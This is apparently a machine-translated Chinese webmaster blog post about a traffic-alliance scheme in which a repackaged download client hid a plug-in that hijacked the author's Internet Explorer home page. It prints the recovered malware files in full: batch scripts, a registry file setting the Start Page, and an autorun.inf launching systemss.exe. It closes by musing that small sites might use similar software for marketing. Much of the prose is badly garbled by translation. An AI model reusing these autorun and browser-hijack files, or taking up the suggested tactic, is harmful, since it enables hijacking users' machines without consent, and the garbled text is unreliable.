Decryption Traffic Alliance high-end and ugly Network marketing Way

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall

Read the previous need before the article Knowledge: Traffic Federation plug-in Trojan Silent start

One day, I was sleepy, sitting in front of the computer for a long time, the feeling of eye fatigue, so thinking dozed, thought: "I open the computer to enable the Thunderbolt, download blockbuster, and then sleep awake, so can see, not cool!" I wake up to find: I computer IE default is opened, impressively greeted, a xxxxx-level site home! So start checking the computer! I discovered one of the traffic Union marketing tactics, feeling the majority of victims, then decided to announce to Purdue sentient beings!

1. Flow Exchange in the end is not acceptable

I have joined some of the flow of the alliance did some testing, the result is that the site IP does have a significant increase, but it is easy to addiction, once left the flow of the Union will rapid! I feel if the simple brush ranking can be a try! But in the rankings are losing their due value in China Internet, The profit of the website should consider the value to the user more!

A highly ranked site may be a fundamentally unprofitable site, with a list of millions of sites that may be more than millions of dollars in revenue!

2. The principle of flow exchange

My superficial understanding: the use of software plug-ins to use the virus-type method to enforce the user IE properties, or to hack the illegal intrusion of high traffic sites using horse-hanging way to get no real meaning of IP access!

3. How did I step into the traffic Union trap?

Before I go to sleep I open the Thunder, the computer machine all patches have been hit the why or in? There is only one reason: Thunderbolt has a problem (here's the Thunderbolt is not the official Thunderbolt), so open antivirus software for antivirus, prompted by Rookit, very advanced technology Ah! Incredibly also applied to the network marketing! See the next Thunderbolt version: A green version to the advertising Thunder version (ghost download) suddenly feel very dangerous, think of a ghost version of a new user vulnerability! Open My computer to find the system under the letter to hide an EXE file, to prove that I did not cheat here, send 4 files:

1.vip.bat

============= Shameful dividing line ============

REGEDIT/S Vip.reg

START http://www.96so.com/?t

CLs

2.VIP Reg

============= Shameful dividing line ============

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]

"Start Page" = "http://www.96so.com/?t"

3.web.bat

============= Shameful dividing line ============

START http://www.96so.com/?t

CLs

4.autorun.inf

============= Shameful dividing line ============

[AutoRun]

Open=systemss.exe

Shellexecute=systemss.exe

Shell\auto\command=systemss.exe

Simply modify the website address is not illegal website, on the contrary very formal!

Analysis to here basically I understand the principle: using the so-called green to advertising backdoor version of the software malicious loading master compiled Plug-ins, the use of Plug-ins to release related modification files, with a silent way to start the operation of the file modification IE home page, to promote the purpose!

Very high-end virus marketing Method! Also DLL injection process into the operating system with the calculator, have to admire these masters!

Now I understand why every day people in the hacker group shouting to sell traffic!

Analysis of this at the same time suddenly came up with an idea: write a small software to occupy the user terminal way to start the network marketing, PPLIVE QQ PPS Why small Web site can not also consider this way? but also to small stationmaster general also rarely have such software writing strength, implementation difficulty is some big!

Webmaster Network News list: Www.admin5.com/top